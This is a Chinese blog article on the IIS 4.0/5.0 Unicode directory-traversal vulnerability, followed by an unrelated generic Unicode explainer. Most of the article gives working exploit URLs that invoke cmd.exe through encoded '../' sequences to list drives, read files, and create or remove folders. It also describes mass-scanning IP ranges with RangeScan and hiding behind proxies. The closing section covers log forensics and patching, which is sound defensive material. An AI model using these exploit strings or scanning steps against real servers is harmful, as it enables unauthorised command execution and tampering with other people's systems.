UNICODE漏洞原理及攻击说明

 漏洞描述:
    微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"/"而能利用"../"目录遍历的漏洞。未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone和Users组的成员,因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆所能完成的一样。此漏洞对于打了SP2(包括SP2)以上版本无效!
    测试方法: http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
    解决方案:建议所有用户都打sp3

一、UNICODE漏洞的原理
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,
台湾繁体中文也同样存在这样的漏洞。中文版的WIN2000中,UNICODE编码 存在BUG,在UNICODE 编码中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘/‘
在NT4中/编码为%c1%9c在英文版里:WIN2000英文版%c0%af
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测,具体情况本人未做详细的证
实:
%c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af
或许是什么日文版、韩文版之类,win2000 Terminal版有兴趣的朋友可以试试。
    二、UNICODE漏洞的检测
    以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c
最简单的检测方法:比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件)
Directory of C:/
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..

这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改为这样
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir
即r=c 这个字母的取代,在本文发表之前,网络里没有介绍过,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。 当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。

http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
运行后,我们可以看到
Directory of c:/program files/common files/system/msadc
2000-08-06 19:16
.
2000-08-06 19:16
..

(以下内容略)
19 File(s) 1,233,840 bytes 2 Dir(s) 6,290,644,992 bytes free

U漏洞的检测可以使用流光,SSS,以及其它的一些类似的工具,本站有一大把!

三、UNICODE编码漏洞简单利用的命令
一般情况下我们用
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

看到的目录是空的:(例如)
Directory of C:/inetpub/scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
如果我们这样输入的话
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:/

就可以看到该主机c:盘的目录和文件了。
其他的一些简单的用法:
1、显示文件内容
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样
的) http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:/badboy.txt

那么该文件的内容就可以通过IE显示出来。
2、建立文件夹的命令

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:/badboy

运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
英文意思是CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
3、删除空的文件夹命令:

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:/badboy

黑客步骤一:查找存在Unicode漏洞的主机

  我们国内用来扫描这个漏洞的软件主要有两个,一个是RangeScan,另一个是快乐绿鹰的Unicode漏洞扫描器,前者比后者在功能上有相当的提高,允许使用者自定义扫描的内容,还能扫描到二级解码,支持使用代理扫描(这个功能对黑客来说是很重要的,在扫描Unicode漏洞时会在服务器上留下扫描者的IP,有了代理就能起到隐藏真实IP的作用了,所以使用RangeScan来扫描Unicode漏洞的教多。

  先来看看RangeScan的真实面目,它在运行后界面如下图:

  要扫描Unicode漏洞有两处必须填入,一处是“扫描IP地址范围”,另一处是“扫描内容”。

  在“扫描IP地址范围”中填入要扫描的IP范围,例如在“From:”栏中填入216.246.X.X,在“to:”中填入216.246.X.X即可。

  如果黑客们要扫描英文版Win2000的Unicode漏洞,就会在“扫描内容”栏中写入:/scripts/..%c0%af../winnt/system32/cmd.exe;如果黑客们要扫描中文版Win2000,还是会在“扫描内容”栏中写入漏洞内容,只不过要将“%c0%af”换为“%c1%1c”。

  看明白了吗?编码的种类:%c1%1c(中文版WIN2000),%c0%af(英文版WIN2000),%%c1%9c(WINNT4)等,还有很多种编码这里就不一一列出了,上面提到的那几种编码漏洞已经可以做好多事了!我们只要知道编码方式(漏洞)就可以了。

  当黑客填好扫描范围和扫描内容后,他会按下屏幕下方的“扫描”键,这样就可以等待扫描结果了。

 

这个漏洞的可怕之处就在于不需要其他的登陆软件,只要利用浏览器就能达到修改主机主页的目的!假设黑客扫描到有漏洞的主机的IP是216.246.X.X,他会在浏览器的地址栏中键入http://216.246.X.X/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir,然后按回车键,将在浏览器中看到:

Directory of c:/inetpub/scripts
2000-08-06 19 DIR>.
2000-08-06 19 DIR>..
0 File(s) 0 bytes
2 Dir(s) 11,556,635,276 bytes free

 

  这样就证实了该主机肯定存在漏洞了!
  :%c0%af可根据他填入的扫描内容做相应变动,在这里“+”等于空格键的作用,dir为列文件/目录命令。

 

Unicode漏洞解决方案

  如果文章到此就结束,恐怕就有教材之嫌了,提供解决(防范)方法这才是本文的真正目的!如果有人利用Unicode漏洞进入目标主机,并执行过Ftp命令,例如到某个Ftp站点下载过文件,是会被记录下来的,不要以为他删除那个文件或给文件改名就可以逃脱入侵的证据了。在目标主机的winnt/system32/logfiles/msftp/svc1目录下,可以找到运行Ftp的日志,如果有人执行过Ftp命令,在日志文件里可以看到类似下面的记录(其中127.0.0.1为日志中记载的入侵者的IP):

11:49:19 127.0.0.1 [2]USER xiaorong 331
11:49:19 127.0.0.1 [2]PASS - 230
11:49:19 127.0.0.1 [2]sent /lucky.txt 226
11:49:19 127.0.0.1 [2]QUIT - 226

  这样你就可以通过这个记录来发现他的IP,再溯本追源来抓住他。

  另外,在winnt/system32/logfiles/w3svc1/目录里保留有web访问记录,如果曾经被人利用Unicode漏洞访问过,可以在日志里看到类似下面的记录(其中127.0.0.1为日志中记载的入侵者的IP):

11:36:18 127.0.0.1 GET /scripts/../../winnt/system32/cmd".exe 401
11:36:18 127.0.0.1 GET /scripts/../../winnt/system32/cmd".exe 200

  如果有人曾经执行过copy、del、echo、bat等具有入侵行为的命令时,会有如下记录:

11:37:27 127.0.0.1 GET /scripts/../../winnt/system32/cmd".exe 401
11:37:27 127.0.0.1 GET /scripts/../../winnt/system32/cmd".exe 502

  是不是一清二楚呢?不过狡猾的黑客(高手)还会有其它应对方法的,但是经常查看日志文件,却是有百利而无一害哦!

  只用上面的方法太被动了,还是主动些先解决了Unicode漏洞为好,下面为你提供了两种方案:

1.简单解决方案:

  (1)限制网络用户访问和调用cmd的权限。

  (2)在Scripts、Msadc目录没必要使用的情况下,删除该文件夹或者改名。

  (3)安装NT系统时不要使用默认WINNT路径,比方说,可以改名为lucky或者其他名字。

2.最好的解决办法:

  最好的方法当然是下载微软提供的补丁了。可以从如下地址下载补丁:

  对于IIS 4.0到这里

http://www.microsoft.com/ntserver/nts/downloads/
critical/q269862/default.asp

  对于IIS 5.0到这里:

http://www.microsoft.com/windows2000/downloads/
critical/q269862/default.asp

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Unicode编码是一种用于表示字符集的编码方式,它的底层原理如下: 1. Unicode码位 Unicode编码采用了固定长度的编码方式,即每个字符都被编码为一个固定长度的数字序列。Unicode码位指的是每个字符Unicode编码所对应的唯一数字值,也就是字符的标识符。 Unicode码位的范围非常广,包括从最早的Unicode 1.0版本的少量字符到最新的Unicode版本的所有字符Unicode码位的表示方式为U+xxxx,其xxxx表示一个4位的十六进制数,例如,字符'A'的Unicode码位是U+0041,字符''的Unicode码位是U+4E2D。 2. Unicode实现方式 Unicode编码的实现方式有多种,其比较常用的是UTF-8、UTF-16和UTF-32。它们的主要区别在于编码方式和存储方式不同。 UTF-8编码是一种变长编码方式,它可以使用1~4个字节表示一个字符的码位,其ASCII字符只需要1个字节表示,而其他字符则需要2~4个字节表示。UTF-8编码的最大优势是兼容ASCII字符集,使得对于纯英文文本的存储非常节省空间。 UTF-16编码是一种定长编码方式,它使用2个字节或4个字节表示一个字符的码位。UTF-16编码的缺点是不能兼容ASCII字符集,因此对于纯英文文本的存储空间相对较大。 UTF-32编码是一种定长编码方式,它使用4个字节表示一个字符的码位。UTF-32编码的优点是每个字符都可以用相同长度的字节序列表示,但是对于存储空间的浪费较大。 总之,Unicode编码的底层原理是将每个字符的码位映射到一个固定长度的数字序列,不同的Unicode实现方式有不同的编码方式和存储方式,但它们的目标都是为了让不同语言和文化的人们能够在计算机上进行交流和信息交换。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值